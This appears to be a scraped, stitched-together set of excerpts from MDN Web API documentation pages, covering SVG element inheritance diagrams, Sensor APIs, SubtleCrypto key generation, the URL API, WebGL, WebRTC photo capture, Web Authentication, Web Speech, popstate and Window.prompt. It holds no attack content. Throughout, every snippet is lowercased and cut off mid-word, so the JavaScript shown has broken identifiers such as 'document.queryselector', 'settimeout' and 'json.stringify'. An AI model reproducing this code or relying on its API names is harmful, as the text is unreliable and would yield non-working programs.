...></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstopelement" target="_top"><rect x="341" y="65"...
... width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstopelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none...
..."/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-base...
...line="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstyleelement" target...
...="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement and implements properties from linkstyle.
SVGSwitchElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="2...
...5" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</...
...text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301...
..." y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgswitchelement" target="_top"><rect x="101" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgswitchelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-...
SVGSymbolElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="2...
...5" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</...
...text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsymbolelement" target="_top"><rect x="321" ...
...y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsymbolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement, and implements properties from svgfittoviewbox.
SVGTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25"...
... x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</te...
...xt></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgtitleelement" target="_top"><rect x="331" y="...
...65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGUseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><li...
...ne x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="...
...middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_...
...top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svguseelement" target="_top"><rect x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svguseelement</text></a></svg></div> a:hover text { fill: #0095d...
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
if not included, the default value is "".
...if not included, the default value is "".
...if not included, the default value is "".
...if not included, the default value is "".
Sensor APIs - Web APIs
if (typeof gyroscope === "function") { // run in circles...
... } if ("proximitysensor" in window) { // watch out!
... const sensor = new absoluteorientationsensor(); sensor.start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following table describes for each sensor type, the name required for the permissions api, the <iframe> element's allow attribute and the feature-policy directive.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }) magsensor.addeventlistener('error', event => { console.log(event.error.name, event.error.message); }) magsensor.start(); interfaces absoluteorientationsensorsecure context describes the device's physical orien...
SubtleCrypto.generateKey() - Web APIs
let keypair = window.crypto.subtle.generatekey( { name: "rsa-oaep", moduluslength: 4096, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256" }, true, ["encrypt", "decrypt"] ); elliptic curve key pair generation this code generates an ecdsa signing key pair.
... let keypair = window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ); hmac key generation this code generates an hmac signing key.
... let key = window.crypto.subtle.generatekey( { name: "hmac", hash: {name: "sha-512"} }, true, ["sign", "verify"] ); aes key generation this code generates an aes-gcm encryption key.
... let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification.
URL API - Web APIs
WebAPIURL API
let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties.
...for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url.
...you can also look up the values of individual parameters with the urlsearchparams object's get() method: let addr = new url("https://mysite.com/login?user=someguy&page=news"); try { loginuser(addr.searchparams.get("user")); gotopage(addr.searchparams.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken from the query and passed to appropriate functions that are used by the site's code to log in and route the user to their desired destinat...
... function filltablewithparameters(tbl) { let url = new url(document.location.href); url.searchparams.sort(); let keys = url.searchparams.keys(); for (let key of keys) { let val = url.searchparams.get(key); let row = document.createelement("tr"); let cell = document.createelement("td"); cell.innertext = key; row.appendchild(cell); cell = document.createelement("td"); cell.innertext = val; row.appendchild(cell); tbl.appendchild(row); }; } a working version of this example can be found on glitch.
WebGLRenderingContext.getUniformLocation() - Web APIs
the name can't have any whitespace in it, and you can't use this function to get the location of any uniforms starting with the reserved string "gl_", since those are internal to the webgl layer.
... gl.useprogram(shaderprogram); uscalingfactor = gl.getuniformlocation(shaderprogram, "uscalingfactor"); uglobalcolor = gl.getuniformlocation(shaderprogram, "uglobalcolor"); urotationvector = gl.getuniformlocation(shaderprogram, "urotationvector") gl.uniform2fv(uscalingfactor, currentscale); gl.uniform2fv(urotationvector, currentrotation); gl.uniform4fv(uglobalcolor, [0.1, 0.7, 0.2, 1.0]); this code snippet is taken from the function animatescene() in "a basic 2d webgl ani...
...mation example." see that article for the full sample and to see the resulting animation in action.
... after setting the current shading program to shaderprogram, this code fetches the three uniforms "uscalingfactor", "uglobalcolor", and "urotationvector", calling getuniformlocation() once for each uniform.
WebGLRenderingContext.makeXRCompatible() - Web APIs
html the html for the buttons looks lke this: <button class="green button" type="button">start game</button> <button class="blue button use-webxr" type="button">start game (vr mode)</button> the first button starts the game, continuing to present the game onscreen as usual.
... javascript the code that handles starting up graphics, switching to vr mode, and so forth looks like this: const outputcanvas = document.queryselector(".output-canvas"); const gl = outputcanvas.getcontext("webgl"); let xrsession = null; let usingxr = false; let currentscene = "scene1"; let glstartbutton; let xrstartbutton; window.addeventlistener("load", (event) => { loadsceneresources(currentscene); glstartbutton.addeventlistener("click", handlestartbuttonclick); xrstartbutton.addeventlistener("click", handlestartbuttonclick); }); outputcanvas.addeventlistener("webglcontextlost", (event) => { /* ...
...*/ outputcanvas.addeventlistener("webglcontextrestored", (event) => { loadsceneresources(currentscene); }); async function onstartedxrsession(xrsession) { try { await gl.makexrcompatible(); } catch(err) { switch(err) { case aborterror: showsimplemessagebox("unable to transfer the game to your xr headset.", "cancel"); break; case invalidstateerror: showsimplemessagebox("you don't appear to have a compatible xr headset available.", "cancel"); break; default: handlefatalerror(err); break; } xrsession.end(); } } async function handlestartbutt...
...onclick(event) { if (event.target.classlist.contains("use-webxr") && navigator.xr) { try { xrsession = await navigator.xr.requestsession("immersive-vr"); usingxr = true; } catch(err) { xrsession = null; usingxr = false; } } startgame(); } function startgame() { currentscene = "scene1"; loadsceneresources(currentscene); /* and so on */ } this works by having two buttons, one which starts the game normally and the other which starts the game in vr mode.
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
possible types: a floating point number for floating point values (methods with "f").
... a sequence of floating point numbers (for example a float32array or an array of numbers) for floating point vector methods (methods with "fv").
... an integer number for integer values (methods with "i").
... an int32array for integer vector methods (methods with "iv").
Clearing by clicking - Web APIs
<p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; paddi...
...ng : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
... var canvas = document.queryselector("#canvas-view"); var button = document.queryselector("#color-switcher"); canvas.addeventlistener("click", switchcolor, false); button.addeventlistener("click", switchcolor, false); // a variable to hold the webglrenderingcontext.
... if (!gl) { gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function.
Getting started with WebGL - Web APIs
<body> <canvas id="glcanvas" width="640" height="480"></canvas> </body> preparing the webgl context the main() function in our javascript code, is called when our script is loaded.
... // // start here // function main() { const canvas = document.queryselector("#glcanvas"); // initialize the gl context const gl = canvas.getcontext("webgl"); // only continue if webgl is available and working if (gl === null) { alert("unable to initialize webgl.
... your browser or machine may not support it."); return; } // set clear color to black, fully opaque gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear the color buffer with specified clear color gl.clear(gl.color_buffer_bit); } window.onload = main; the first thing we do here is obtain a reference to the canvas, assigning it to a variable named canvas.
... once we have the canvas, we try to get a webglrenderingcontext for it by calling getcontext() and passing it the string "webgl".
Taking still photos with WebRTC - Web APIs
<div class="camera"> <video id="video">video stream not available.</video> <button id="startbutton">take photo</button> </div> this is straightforward, and we'll see how it ties together when we get into the javascript code.
... <canvas id="canvas"> </canvas> <div class="output"> <img id="photo" alt="the screen capture will appear in this box."> </div> that's all of the relevant html.
...mentbyid('canvas'); photo = document.getelementbyid('photo'); startbutton = document.getelementbyid('startbutton'); get the media stream the next task is to get the media stream: navigator.mediadevices.getusermedia({ video: true, audio: false }) .then(function(stream) { video.srcobject = stream; video.play(); }) .catch(function(err) { console.log("an error occurred: " + err); }); here, we're calling mediadevices.getusermedia() and requesting a video stream (without audio).
...that code looks like this: function clearphoto() { var context = canvas.getcontext('2d'); context.fillstyle = "#aaa"; context.fillrect(0, 0, canvas.width, canvas.height); var data = canvas.todataurl('image/png'); photo.setattribute('src', data); } we start by getting a reference to the hidden <canvas> element that we use for offscreen rendering.
Web Authentication API - Web APIs
- service): rp: { name: "acme" }, // user: user: { id: new uint8array(16), name: "john.p.smith@example.com", displayname: "john p.
... smith" }, pubkeycredparams: [{ type: "public-key", alg: -7 }], attestation: "direct", timeout: 60000, challenge: new uint8array([ // must be a cryptographically random number sent from a server 0x8c, 0x0a, 0x26, 0xff, 0x22, 0x91, 0xc1, 0xe9, 0xb9, 0x4e, 0x2e, 0x17, 0x1a, 0x98, 0x6a, 0x73, 0x71, 0x9d, 0x43, 0x48, 0xd5, 0xa7, 0x6a, 0x15, 0x7e, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0f, 0xef ]).buffer } }; // sample arguments for login var getcredentialdefaultargs = { publickey: { timeout: 60000, // allowcredentials: [newcredential] // see below challenge: new uint8array([ // must be a cryptographically random number sent from a server 0x79, 0x50, 0...
...x68, 0x71, 0xda, 0xee, 0xee, 0xb9, 0x94, 0xc3, 0xc2, 0x15, 0x67, 0x65, 0x26, 0x22, 0xe3, 0xf3, 0xab, 0x3b, 0x78, 0x2e, 0xd5, 0x6f, 0x81, 0x26, 0xe2, 0xa6, 0x01, 0x7d, 0x74, 0x50 ]).buffer }, }; // register / create a new credential navigator.credentials.create(createcredentialdefaultargs) .then((cred) => { console.log("new credential", cred); // normally the credential ids available for an account would come from a server // but we can just copy them from above...
... var idlist = [{ id: cred.rawid, transports: ["usb", "nfc", "ble"], type: "public-key" }]; getcredentialdefaultargs.publickey.allowcredentials = idlist; return navigator.credentials.get(getcredentialdefaultargs); }) .then((assertion) => { console.log("assertion", assertion); }) .catch((err) => { console.log("error", err); }); mozilla demo website and its source code.
Using the Web Speech API - Web APIs
<h1>speech color changer</h1> <p>tap/click then say a color to change the background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices.
... var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); var hints = document.queryselector('.hints'); var colorhtml= ''; colors.foreach(function(v, i, a){ console.log(v, i); colorhtml += '<span style="background-color:' + v + ';"> ' + v + ' </span>'; }); hints.innerhtml = 'tap/click then say a color to change the background color of the app.
...change voices using the dropdown menu.</p> <form> <input type="text" class="txt"> <div> <label for="rate">rate</label><input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"> <div class="rate-value">1</div> <div class="clearfix"></div> </div> <div> <label for="pitch">pitch</label><input type="range" min="0" max="2" value="1" step="0.1" id="pitch"> <div class="pitch-value">1</div> <div class="clearfix"></div> </div>...
... utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } finally, we call blur() on the text input.
WheelEvent() - Web APIs
wheeleventinit optional is a wheeleventinit dictionary, having the following fields: "deltax", optional and defaulting to 0.0, is a double representing the horizontal scroll amount in the deltamode unit.
... "deltay", optional and defaulting to 0.0, is a double representing the vertical scroll amount in the deltamode unit.
... "deltaz", optional and defaulting to 0.0, is a double representing the scroll amount for the z-axis in the deltamode unit.
... "deltamode", optional and defaulting to 0, is a unsigned long representing the unit of the delta values scroll amount.
Window.captureEvents() - Web APIs
example <!doctype html> <html lang="en"> <head> <!-- ...
... --> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
... when you call the captureevents() method on the window, events of the type you specify (for example, event.click) no longer pass through to "lower" objects in the hierarchy.
... in order for events to "bubble up" in the way that they normally do, you must call window.releaseevents() ( ) on the window to keep it from trapping events.
Window: popstate event - Web APIs
oal is to catch the moment when the new document state is already fully in place, a zero-delay settimeout() method call should be used to effectively put its inner callback function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either due to the user triggering the browser's "back" button or otherwise, the popstate event is near the end of the process to transition to the new location.
...the entry is now said to have "persisted user state." this information the browser might add to the history session entry may include, for instance, the document's scroll position, the values of form inputs, and other such data.
... examples a page at http://example.com/example.html running the following code will generate logs as indicated: window.addeventlistener('popstate', (event) => { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }); history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // logs "location: http://example.com/example.htm...
...l, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" the same example using the onpopstate event handler property: window.onpopstate = function(event) { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // logs "location: http://example.com/example.html, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" note that even though the original history entry (for http://e...
Window.prompt() - Web APIs
WebAPIWindowprompt
note that in internet explorer 7 and 8, if you do not provide this parameter, the string "undefined" is the default value.
... example let sign = prompt("what's your sign?"); if (sign.tolowercase() == "scorpio") { alert("wow!
... i'm a scorpio too!"); } // there are many ways to use the prompt feature sign = window.prompt(); // open the blank prompt window sign = prompt(); // open the blank prompt window sign = window.prompt('are you feeling lucky'); // open the window with text "are you feeling lucky" sign = window.prompt('are you feeling lucky', 'sure'); // open the window with text "are you feeling lucky" and default value "sure" when the user clicks the ok button, text entered in the input field is returned.
... const anumber = number(window.prompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification.
WritableStreamDefaultWriter.write() - Web APIs
note that what "success" means is up to the underlying sink; it might indicate simply that the chunk has been accepted, and not necessarily that it is safely saved to its ultimate destination.
...ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
